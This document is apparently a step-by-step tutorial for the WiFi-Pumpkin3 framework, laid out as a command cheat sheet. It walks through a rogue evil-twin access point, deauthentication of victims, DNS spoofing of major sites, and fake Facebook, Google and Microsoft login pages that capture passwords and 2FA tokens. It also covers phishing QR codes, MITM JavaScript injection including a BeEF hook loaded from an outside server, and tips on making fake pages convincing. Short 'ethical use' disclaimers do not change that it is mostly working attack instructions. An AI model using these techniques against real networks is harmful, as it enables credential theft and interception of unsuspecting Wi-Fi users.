β οΈ Ethical Hacking Use Only β Never attack unauthorized networks.
WiFi-Pumpkin3 works best on Kali Linux or Parrot OS.
# Clone the repository
git clone https://github.com/P0cL4bs/WiFi-Pumpkin3.git
cd WiFi-Pumpkin3
# Run installer
sudo ./installer.sh --install
# Or manual setup:
sudo apt install python3-pip hostapd dnsmasq
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
sudo python3 wifi-pumpkin.py
β Tip: Run with sudo to avoid interface permission issues.
This creates a fake Wi-Fi network with the same SSID as a real one. Victims connect thinking itβs legit.
use accesspoint
set ssid Free_WiFi
set channel 6
start
β Tip: Match the SSID and channel of a real nearby network for best results.
Redirect specific domain requests to your rogue server/IP.
use dnsspoof
set target_domain facebook.com
set redirect_ip 10.0.0.1
start
To spoof multiple domains, create a DNS mapping file:
facebook.com 10.0.0.1
google.com 10.0.0.1
gmail.com 10.0.0.1
Then:
set dns_file path/to/spooflist.txt
start
β Tip: Combine with CaptiveFlask to serve fake login pages.
This plugin forces the victim to interact with a fake login/update page.
facebook
β Fake Facebook logingoogle
β Fake Google loginwindows-update
β Fake Windows update screenandroid-update
β Fake Android OTA promptuse captiveflask
set template facebook
start
Custom templates can be added to:
plugins/captiveflask/templates/
β Example: Serve a fake update screen when victim connects to Free_WiFi.
Any credentials entered on fake login pages are logged automatically.
logs/credentials.log
[facebook] 192.168.0.101
username: victim@example.com
password: pass12345
You can tail the log in real-time:
tail -f logs/credentials.log
Disconnects users from legitimate Wi-Fi so they reconnect to your rogue AP.
# Step 1: Enable monitor mode
sudo airmon-ng start wlan0
# Step 2: Launch WiFi-Pumpkin3
use deauth
set interface wlan0mon
set target_mac AA:BB:CC:DD:EE:FF
start
β Tip: Use airodump-ng to find MAC addresses of targets.
Clones real MFA-enabled login portals. Captures username, password, and 2FA token.
microsoft
β Outlook/Microsoft Office logingoogle-mfa
β Google with 2FAuse phishkin3
set template microsoft
start
β Use this only in a lab. Real-time proxying of credentials is for advanced red team simulations.
Generates phishing QR codes. When scanned by a phone, it opens your rogue site.
use evilqr3
set url http://10.0.0.1/facebook
generate
A PNG image file will be created with the QR code. You can print it, send it, or place it in fake environments.
Intercepts HTTP traffic and injects your custom JavaScript.
use mitm
set inject_js /home/user/scripts/inject.js
start
// inject-alert.js
alert("β οΈ This is a test from MITM JavaScript injection!");
// inject-beef.js
<script src="http://your-beef-server/hook.js"></script>
// redirect.js
window.location.href = "http://10.0.0.1/login";
β Only works on HTTP (unencrypted) traffic. HTTPS cannot be modified this way.
Intercept and modify traffic between client and server silently (MITM-style).
use transparentproxy
set inject_js /home/user/scripts/hook.js
start
// proxy-inject.js
console.log("β
Transparent Proxy Injected Successfully!");
alert("This page was intercepted by the proxy.");
β Ideal for lab-based phishing or hooking browsers with BeEF.
Scans for all nearby wireless networks.
# First, put adapter into monitor mode:
sudo airmon-ng start wlan0
use scanner
set interface wlan0mon
start
Monitors and logs all DNS requests from clients.
use dnsmonitor
start
logs/dns_requests.log
[10.0.0.101] -> facebook.com
[10.0.0.101] -> google.com
WiFi-Pumpkin3 exposes a REST API to control the tool via HTTP requests.
use api
set port 5000
start
curl -X POST http://localhost:5000/start_attack \
-H "Content-Type: application/json" \
-d '{"module": "mitm"}'
/status
β Get status of modules/stop
β Stop current attack/logs
β Retrieve logsβ You can automate WiFi-Pumpkin3 as part of red team scripts!
All captured data is saved for review. Update regularly to get new modules.
logs/credentials.log
logs/dns_requests.log
cd WiFi-Pumpkin3
git pull
sudo ./installer.sh --install
β Always update before important testing engagements.
You can build your own login pages and use them as phishing portals.
plugins/captiveflask/templates
index.html
, style.css
, and logo.png
(optional){{submit}}
to define the form submission endpoint<form action="{{submit}}" method="post">
<input name="username" placeholder="Email" />
<input name="password" type="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
β Add realism: match fonts, logos, button styles of real websites.
β Use your skills to secure β not to harm.
sudo
β some modules require elevated privileges.
index.html
.